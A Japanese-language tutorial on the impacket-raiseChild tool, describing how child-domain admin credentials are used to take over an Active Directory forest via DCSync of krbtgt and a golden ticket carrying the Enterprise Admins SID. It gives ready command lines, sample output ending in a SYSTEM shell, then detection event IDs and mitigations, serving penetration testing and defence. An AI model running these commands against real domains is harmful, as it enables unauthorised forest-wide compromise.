はじめに:impacket-raiseChild とは何か? 🤔
impacket-raiseChild
は、Impacket スクリプトコレクションに含まれる強力なツールの一つです。Impacket は、ネットワークプロトコルを扱うための Python クラスの集まりであり、特に Windows 環境のセキュリティ評価やペネトレーションテストにおいて広く利用されています。
impacket-raiseChild
の主な目的は、Active Directory (AD) 環境において、子ドメインの管理者権限からフォレストルートドメインの管理者権限(通常は Enterprise Admins)への権限昇格を行うことです。これは、ドメイン間の信頼関係と Kerberos の認証メカニズム、特に Golden Ticket と SID History の概念を悪用することで実現されます。
背景:ドメイン信頼とセキュリティ境界
Active Directory フォレストは、一つ以上のドメインツリーから構成され、その中に複数のドメインが存在します。ドメイン間には信頼関係が結ばれており、リソースへのアクセスが可能になります。親子関係にあるドメイン(子ドメインと親ドメイン/フォレストルートドメイン)間には、通常、双方向の推移的な信頼関係が存在します。
Microsoft の定義では、フォレストはセキュリティ境界ですが、フォレスト内のドメインはセキュリティ境界ではありません。これは、あるドメインの管理者が、適切な権限があれば他のドメインのリソースにアクセス可能であることを意味します。impacket-raiseChild
は、この設計上の特徴を利用して権限昇格を試みます。
このツールは、Sean Metcalf 氏によってADSecurity.org で解説された手法を実装したものです。子ドメインの管理者権限を持つ攻撃者が、フォレスト全体の管理者権限を奪取するシナリオで利用されます。
前提条件 🔑
impacket-raiseChild
を使用するには、以下の条件を満たしている必要があります。
- 子ドメインの管理者権限: 攻撃対象の子ドメインにおいて、ドメイン管理者グループ (Domain Admins) に所属するユーザー、または同等の権限を持つユーザーの認証情報(パスワード、NTLM ハッシュ、AES キーなど)が必要です。
- Impacket のインストール: Python 環境と Impacket ライブラリがインストールされている必要があります。通常、Kali Linux などのペネトレーションテスト用ディストリビューションにはプリインストールされているか、簡単にインストールできます。
- ネットワーク接続: 攻撃元のマシンから、子ドメインおよび親ドメイン(フォレストルート)のドメインコントローラー (DC) へネットワーク的に到達可能である必要があります(LDAP, SMB, Kerberos 等のポート)。
impacket-raiseChild の仕組み ⚙️
impacket-raiseChild
は、以下のステップで権限昇格を実現します。
- 情報収集:
- 子ドメインのドメインコントローラー (DC) の特定と情報取得 ([MS-NRPC] プロトコルを使用)。
- フォレストの FQDN (完全修飾ドメイン名) の特定 ([MS-NRPC] を使用)。
- フォレストの Enterprise Admins グループの SID (セキュリティ識別子) の取得 ([MS-LSAT] を使用)。
- 子ドメインの krbtgt アカウント情報の取得:
- 子ドメインの管理者権限を使用して、子ドメインの Kerberos Key Distribution Center (KDC) サービスアカウントである
krbtgt
のパスワードハッシュ(NTLM ハッシュまたは AES キー)を取得します。これは通常、DCSync 攻撃 ([MS-DRSR] プロトコルを使用) によって行われます。
- 子ドメインの管理者権限を使用して、子ドメインの Kerberos Key Distribution Center (KDC) サービスアカウントである
- Golden Ticket の生成:
- 取得した子ドメインの
krbtgt
ハッシュを使用します。 - 任意のユーザー名(存在しないユーザーでも可)を指定します。
- 子ドメインの SID を指定します。
- Kerberos チケット内の
ExtraSids
フィールド(PAC – Privilege Attribute Certificate 内)に、ステップ 1 で取得したフォレストの Enterprise Admins グループの SID を含めます。これが攻撃の核心部分です。SID History の仕組みを悪用し、このチケットを持つユーザーが Enterprise Admins グループに所属しているかのように見せかけます。 - 非常に長い有効期限(例: 10 年)を持つチケット (TGT – Ticket Granting Ticket) を生成します。
- 取得した子ドメインの
- Golden Ticket の利用:
- 生成された Golden Ticket を使用して、フォレストルートドメインの DC に対して認証を行います。
ExtraSids
に含まれる Enterprise Admins の SID により、フォレストルートドメインに対する管理者権限が付与されます。- (オプション)ターゲットユーザー(デフォルトは Administrator、RID 500)の認証情報を取得します。
- (オプション)指定されたターゲットマシンに対して、取得した権限(デフォルトは Enterprise Admin 権限)で PSEXEC を使用してリモートシェルを起動します。
- (オプション)生成された Golden Ticket を ccache ファイル形式で保存し、後で他のツール(例:
smbclient.py
,psexec.py
)で使用できるようにします。
この一連の流れにより、子ドメインの管理者権限を持つ攻撃者は、フォレスト全体の最高権限である Enterprise Admins の権限を獲得できます。
基本的な使い方 💻
impacket-raiseChild
の基本的なコマンド構文は以下の通りです。
impacket-raiseChild child-domain/child-admin-user[:password] [options]
主要なオプションをいくつか紹介します。
オプション | 説明 | 例 |
---|---|---|
child-domain/child-admin-user[:password] |
子ドメインの FQDN、管理者ユーザー名、およびそのパスワードを指定します。ドメインは FQDN である必要があります。 | child.corp.local/Administrator:Password123 |
-hashes LMHASH:NTHASH |
パスワードの代わりに NTLM ハッシュを指定します。LM ハッシュは空でも構いません。 | -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
-aesKey HEX_KEY |
パスワードの代わりに AES キー (AES128 または AES256) を指定します。 | -aesKey cefe4cc0435e8816be2efcd14f4e142484b147f989f5cf92f22c88d9f9a02576 |
-dc-ip <ip address> |
子ドメインコントローラーの IP アドレスを指定します。指定しない場合、DNS から解決しようとします。 | -dc-ip 192.168.1.10 |
-target-ip <ip address> |
親ドメイン(フォレストルート)のドメインコントローラーの IP アドレスを指定します。指定しない場合、DNS から解決しようとします。認証や DCSync などで使用されます。 | -target-ip 10.0.0.10 |
-target-exec <target> |
権限昇格後、psexec で接続するターゲットホスト(IP アドレスまたはホスト名)を指定します。指定すると、Enterprise Admin 権限でシェルが起動します。 | -target-exec dc01.corp.local |
-target-user <username> |
-target-exec と共に使用し、psexec で使用するユーザー名を指定します。デフォルトは Administrator です。 |
-target-user svc_admin |
-target-rid <rid> |
Golden Ticket を使用して認証情報を取得するターゲットユーザーの RID (Relative Identifier) を指定します。デフォルトは 500 (Administrator) です。フォレストの krbtgt の認証情報を取得したい場合は、フォレストの krbtgt の RID を指定します。 | -target-rid 502 |
-w <filename> |
生成された Golden Ticket を指定したファイル名で ccache 形式で保存します。 | -w /tmp/enterprise_admin.ccache |
-debug |
デバッグ情報を表示します。問題が発生した場合に役立ちます。 | -debug |
実行例
子ドメイン child.example.com
の管理者 ChildAdmin
(パスワード: P@ssw0rd1
) の認証情報を使用し、親ドメイン(フォレストルート)の DC dc01.example.com
(IP: 10.0.0.5
) に対して権限昇格を行い、Enterprise Admin としてシェルを取得する例:
impacket-raiseChild child.example.com/ChildAdmin:'P@ssw0rd1' -target-exec dc01.example.com -target-ip 10.0.0.5 -dc-ip 192.168.1.100
ハッシュを使用する場合:
impacket-raiseChild child.example.com/ChildAdmin -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -target-exec dc01.example.com -target-ip 10.0.0.5 -dc-ip 192.168.1.100
実行に成功すると、以下のような出力が表示され、指定したターゲット (dc01.example.com
) でのインタラクティブなシェルセッションが開始されることがあります。
Impacket v0.1x.x - Copyright 202x Fortra
[*] Raising child domain child.example.com
[*] Forest FQDN is: example.com
[*] Raising child.example.com to example.com
[*] example.com Enterprise Admin SID is: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-519
[*] Getting child domain krbtgt credentials
[*] Child domain krbtgt hash is: nthashhere...
[*] Child domain SID is: S-1-5-21-YYYYYYYYYY-YYYYYYYYYY-YYYYYYYYYY
[*] Creating golden ticket for administrator@example.com
[*] Using AES256 key: aeskeyhere...
[*] Saving ticket in administrator@example.com.ccache
[*] Trying to connect to ADMIN$ share at dc01.example.com.....
[*] Uploading file XXXXXXXX.exe.....
[*] Opening SVCManager on dc01.example.com.....
[*] Creating service XXXXXXXX on dc01.example.com.....
[*] Starting service XXXXXXXX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.XXXXX.XXXX]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
-w
オプションでチケットを保存した場合、後で export KRB5CCNAME=/path/to/ticket.ccache
のように環境変数を設定し、impacket-psexec
や impacket-smbclient
などの他の Impacket ツールでそのチケットを利用して認証できます。
検出と対策 🛡️
impacket-raiseChild
による攻撃は非常に強力ですが、適切な監視と対策によって検出・防御することが可能です。
検出方法
- DCSync 試行の監視: 子ドメインの DC に対して異常な DCSync 要求 (ディレクトリ複製要求) がないか監視します。
impacket-raiseChild
はkrbtgt
のハッシュを取得するためにこれを使用します。イベント ID 4662 (オブジェクトへの操作が実行されました) などで、Directory Service オブジェクトへのアクセス、特に機密性の高い属性へのアクセスを監視します。 - Kerberos チケットの異常な要求・使用の監視:
- 異常に長い有効期間を持つ TGT の発行 (イベント ID 4768)。
- 通常とは異なる SID が
ExtraSids
/ SID History に含まれる TGS 要求 (イベント ID 4769)。特に、フォレストルートの特権グループ SID が子ドメインユーザーのチケットに含まれている場合。 - 子ドメインのユーザーアカウントが、フォレストルートドメインのリソースに対して Enterprise Admins 権限でアクセスする試み (イベント ID 4624 ログオンタイプ 3、4672 特権の割り当て)。
- ネットワークトラフィックの監視: 予期しないホストからドメインコントローラーへの [MS-DRSR], [MS-LSAT], [MS-NRPC] といったプロトコルの通信を監視します。
- エンドポイントでの PSEXEC 実行の検出:
-target-exec
オプションが使用された場合、ターゲットホスト上で PSEXEC (または類似のリモート実行ツール) の特徴的な動作(例: サービス作成、実行ファイルのコピー)が検出される可能性があります。
対策方法
- 最小権限の原則の徹底: 子ドメインの管理者アカウントを厳格に管理し、必要最小限のユーザーのみに権限を付与します。Domain Admins グループのメンバーシップを定期的にレビューします。
- 認証情報の保護: ドメイン管理者アカウントのパスワード強度を高め、定期的に変更します。可能であれば、パスワードの代わりにスマートカードなどの多要素認証を導入します。LAPS (Local Administrator Password Solution) を使用してローカル管理者パスワードを管理します。
- SID フィルタリング (限定的効果): フォレスト間の信頼関係では SID フィルタリング(検疫)が有効ですが、親子ドメイン間の信頼ではデフォルトで無効であり、この攻撃を防ぐ効果は限定的です。
- Red Forest (ESAE) アーキテクチャの導入: 特権アクセスワークステーション (PAW) や、管理専用のフォレスト (Red Forest / Enhanced Security Admin Environment – ESAE) を導入することで、特権アカウントの侵害リスクを大幅に低減できます。ただし、導入と運用には専門知識が必要です。
- 高度な脅威分析プラットフォームの活用: Microsoft Defender for Identity (旧 Azure ATP) などのソリューションは、DCSync 攻撃や異常な Kerberos アクティビティなど、この種の攻撃に関連する挙動を自動的に検出するのに役立ちます。
- 子ドメインコントローラーのセキュリティ強化: 子ドメインの DC 自体のセキュリティを強化し、管理者権限を持つアカウントが不正に使用されないようにします。
倫理的考察とまとめ ✨
impacket-raiseChild
は、Active Directory の信頼関係と認証メカニズムの複雑さを悪用する高度な権限昇格ツールです。ペネトレーションテスターやセキュリティ研究者にとっては、ドメイン構造の弱点を評価し、セキュリティ体制を強化するための重要なツールとなり得ます。
しかし、その能力の高さゆえに、悪用された場合の被害は甚大です。フォレスト全体の管理者権限が奪取されると、機密情報の漏洩、システムの破壊、ランサムウェアの展開など、組織に壊滅的な影響を与える可能性があります。
このツールを使用する際は、必ず法的な許可と倫理的な枠組みの中で行う必要があります。テスト対象システムの所有者から明確な書面による同意を得ずに使用することは、重大な法的問題を引き起こします。
キーポイント
- ✅ 目的: 子ドメイン管理者権限からフォレストルート管理者権限への昇格。
- 🔑 要件: 子ドメイン管理者認証情報、Impacket、ネットワーク接続。
- ⚙️ 仕組み: DCSync による krbtgt ハッシュ取得、ExtraSids を含む Golden Ticket 生成、チケット利用による認証。
- 💻 使い方: コマンドラインで子ドメイン情報とオプションを指定。PSEXEC でのリモート実行やチケット保存も可能。
- 🛡️ 対策: 最小権限、認証情報保護、異常検知 (DCSync, Kerberos)、ESAE、脅威分析ツールの活用。
- ⚠️ 注意: 倫理的な使用と法的許可が不可欠。
impacket-raiseChild
のようなツールとその背景にある技術を理解することは、Active Directory 環境を効果的に保護するために不可欠です。防御者は攻撃者の手法を知ることで、より堅牢なセキュリティ対策を講じることができます。常に最新の脅威情報を把握し、適切な防御策を継続的に実施していくことが重要です。 💪
コメント